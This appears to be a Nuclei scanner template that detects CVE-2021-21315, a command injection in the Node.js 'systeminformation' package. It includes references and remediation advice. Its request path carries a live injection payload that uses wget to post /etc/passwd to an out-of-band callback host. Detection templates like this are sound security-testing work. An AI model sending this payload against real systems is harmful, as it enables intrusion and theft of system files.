id: CVE-2021-21315 info: name: Node.JS System Information Library <5.3.1 - Remote Command Injection author: pikpikcu severity: high description: Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package "systeminformation") is an open source collection of functions to retrieve detailed hardware, system and OS information. reference: - https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC - https://security.netapp.com/advisory/ntap-20210312-0007/ - https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-2m8v-572m-ff2v - https://www.npmjs.com/package/systeminformation - https://nvd.nist.gov/vuln/detail/CVE-2021-21315 remediation: Upgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected classification: cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H cvss-score: 7.8 cve-id: CVE-2021-21315 cwe-id: CWE-78 epss-score: 0.96464 tags: nodejs,cve,cve2021,kev metadata: max-request: 1 http: - method: GET path: - "{{BaseURL}}/api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20{{interactsh-url}})" matchers-condition: and matchers: - type: word part: body words: - "wget --post-file /etc/passwd {{interactsh-url}}" - name - running - pids condition: and - type: word part: header words: - "application/json" - type: status status: - 200 # Enhanced by mp on 2022/06/27